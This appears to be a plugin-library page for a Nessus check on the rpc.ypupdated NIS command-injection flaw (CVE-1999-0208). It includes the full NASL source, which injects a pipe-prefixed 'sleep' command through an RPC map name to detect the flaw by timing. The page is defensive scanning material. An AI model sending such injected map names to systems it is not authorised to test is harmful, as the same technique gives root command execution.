Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution - Nessus

High   Plugin ID: 31683

This page contains detailed information about the Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 31683
Name: Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution
Filename: ypupdated_remote_exec.nasl
Vulnerability Published: 1994-12-12
This Plugin Published: 2008-03-28
Last Modification Time: 2020-06-12
Plugin Version: 1.17
Plugin Type: remote
Plugin Family: RPC
Dependencies: rpcinfo.nasl, rpc_portmap.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 1994-12-12
Patch Published: N/A
CVE [?]: CVE-1999-0208
CPE [?]: N/A

Synopsis

'ypupdated -i' is running on this port.

Description

ypupdated is part of NIS and allows a client to update NIS maps.

This old command execution vulnerability was discovered and fixed in 1995. However, it is still possible to run ypupdated in insecure mode by adding the '-i' option. Anybody can easily run commands as root on this machine by specifying an invalid map name that starts with a pipe (|) character. Exploits have been publicly available since the first advisory.

Solution

Remove the '-i' option. If this option was not set, the rpc.ypupdated daemon is still vulnerable to the old flaw; contact your vendor for a patch.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution vulnerability:

  1. Metasploit: exploit/solaris/sunrpc/ypupdated_exec
    [Solaris ypupdated Command Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:POC/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:7.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.3 (High)

Go back to menu.

Plugin Source


This is the ypupdated_remote_exec.nasl nessus plugin source code. This script is Copyright (C) 2008-2020 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(31683);
 script_version ("1.17");
 script_cve_id("CVE-1999-0208");
 script_bugtraq_id(1749, 28383);

 script_name(english:"Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution");
 
 script_set_attribute(attribute:"synopsis", value:
"'ypupdated -i' is running on this port." );
 script_set_attribute(attribute:"description", value:
"ypupdated is part of NIS and allows a client to update NIS maps.

This old command execution vulnerability was discovered and fixed in 
1995. However, it is still possible to run ypupdated in insecure
mode by adding the '-i' option.
Anybody can easily run commands as root on this machine by specifying 
an invalid map name that starts with a pipe (|) character. Exploits 
have been publicly available since the first advisory." );
 script_set_attribute(attribute:"solution", value:
"Remove the '-i' option.
If this option was not set, the rpc.ypupdated daemon is still vulnerable 
to the old flaw; contact your vendor for a patch." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Solaris ypupdated Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2008/03/28");
 script_set_attribute(attribute:"vuln_publication_date", value: "1994/12/12");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_summary(english: "Run shell script through rpc.ypupdated");
 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2008-2020 Tenable Network Security, Inc.");
 script_family(english:"RPC");
 script_dependencie("rpc_portmap.nasl", "rpcinfo.nasl");
 exit(0);
}

include("sunrpc_func.inc");

g_timeout = 15;	# Must be greater than the maximum sleep value
RPC_PROG = 100028;


function test(port, sleeps, udp)
{
 local_var soc, mapname, packet, tictac1, tictac2, d, data, credentials, sleep;

 foreach sleep (sleeps)
 {
  if(!udp)
  {
   if (! get_tcp_port_state(port)) return 0;
   soc = open_sock_tcp (port);
   if (!soc) return 0;
  }
  else
  {
   if (! get_udp_port_state(port)) return 0;
   soc = open_sock_udp (port);
   if (!soc) return 0;
  }

# Pre-compiled plugins - there does not appear to be any function named xdr_auth_unix
# The following is from Appendix A - IETF RFC 1831 - https://tools.ietf.org/html/rfc1831#appendix-A
  credentials =
    xdr_long(0) +                      #stamp
    xdr_string('localhost') +          #machinename
    xdr_long(0) +                      #uid
    xdr_long(0) +                      #gid
    xdr_long(0) + xdr_long(0) + xdr_long(0) + xdr_long(0) +
    xdr_long(0) + xdr_long(0) + xdr_long(0) + xdr_long(0) +
    xdr_long(0) + xdr_long(0) + xdr_long(0) + xdr_long(0) +
    xdr_long(0) + xdr_long(0) + xdr_long(0) + xdr_long(0);

#  credentials = xdr_auth_unix(hostname: 'localhost', uid: 0, gid: 0);

  mapname = strcat("|sleep ", sleep, "; true > /dev/null;");

  data = 
        xdr_string(mapname)  +
        xdr_long(2)          +
        xdr_long(0x78000000) +
        xdr_long(2)          +
        xdr_long(0x78000000) ;

  packet = rpc_packet (prog:RPC_PROG, vers:1, proc:0x01, credentials:credentials, data:data, udp:udp);

  tictac1 = unixtime();

  data = rpc_sendrecv (socket:soc, packet:packet, udp:udp, timeout:g_timeout);
  close(soc);

  tictac2 = unixtime();
  d = tictac2 - tictac1;

  if ( isnull(data) || (d < sleep) || (d >= (sleep + 5)) )
    return 0;
 }

 return 1;
}


function check_flaw(ports, udp)
{
 local_var port;

 foreach port(ports)
 {
  if (test(port: port, sleeps: make_list(1, 3, 7), udp: udp))
    security_hole(port: port);
 }
}

tcp_ports = get_kb_list('Services/rpc-ypupdated');
if (isnull(tcp_ports))
{
 port = get_rpc_port2(program: RPC_PROG, protocol: IPPROTO_TCP);
 if (port) tcp_ports = make_list(port);
}

check_flaw(ports:tcp_ports, udp:0);

  
udp_ports = get_kb_list('Services/udp/rpc-ypupdated');
if (isnull(udp_ports))
{
 port = get_rpc_port2(program: RPC_PROG, protocol: IPPROTO_UDP);
 if (port) udp_ports = make_list(port);
}

check_flaw(ports:udp_ports, udp:1);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/ypupdated_remote_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\ypupdated_remote_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/ypupdated_remote_exec.nasl

Go back to menu.

How to Run


Here is how to run the Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select RPC plugin family.
  6. On the right side table select Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution plugin ID 31683.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ypupdated_remote_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ypupdated_remote_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ypupdated_remote_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ypupdated_remote_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 49217 - Multiple Switch Vendors '__super' Account Backdoor
  • 44937 - Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
  • 49003 - Multiple Vulnerabilities in the IOS FTP Server
  • 49017 - Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks
  • 139545 - Multiple Vulnerabilities in Treck IP Stack Affecting Cisco Products: June 2020 (cisco-sa-treck-ip-stack-JyBQ5GyC)
  • 11748 - Multiple Dangerous CGI Script Detection
  • 33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
  • 11197 - Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)
  • 10821 - Multiple FTPD glob Command Arbitrary Command Execution
  • 10084 - Multiple FTP Server Command Handling Overflow
  • 123520 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 124173 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 10930 - Multiple Web Server on Windows MS/DOS Device Request Remote DOS
  • 11337 - Multiple Linux rpc.mountd Remote Overflow
  • 10176 - Multiple Vendor phf CGI Arbitrary Command Execution
  • 10249 - Multiple Mail Server EXPN/VRFY Information Disclosure
  • 40449 - Multiple Vendor HMAC Authentication SNMPv3 Authentication Bypass
  • 10282 - Multiple Vendor test-cgi Arbitrary File Access
  • 11136 - Multiple OS /bin/login Remote Overflow
  • 80475 - Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ypupdated_remote_exec.nasl version 1.17. For more plugins, visit the Nessus Plugin Library.

Go back to menu.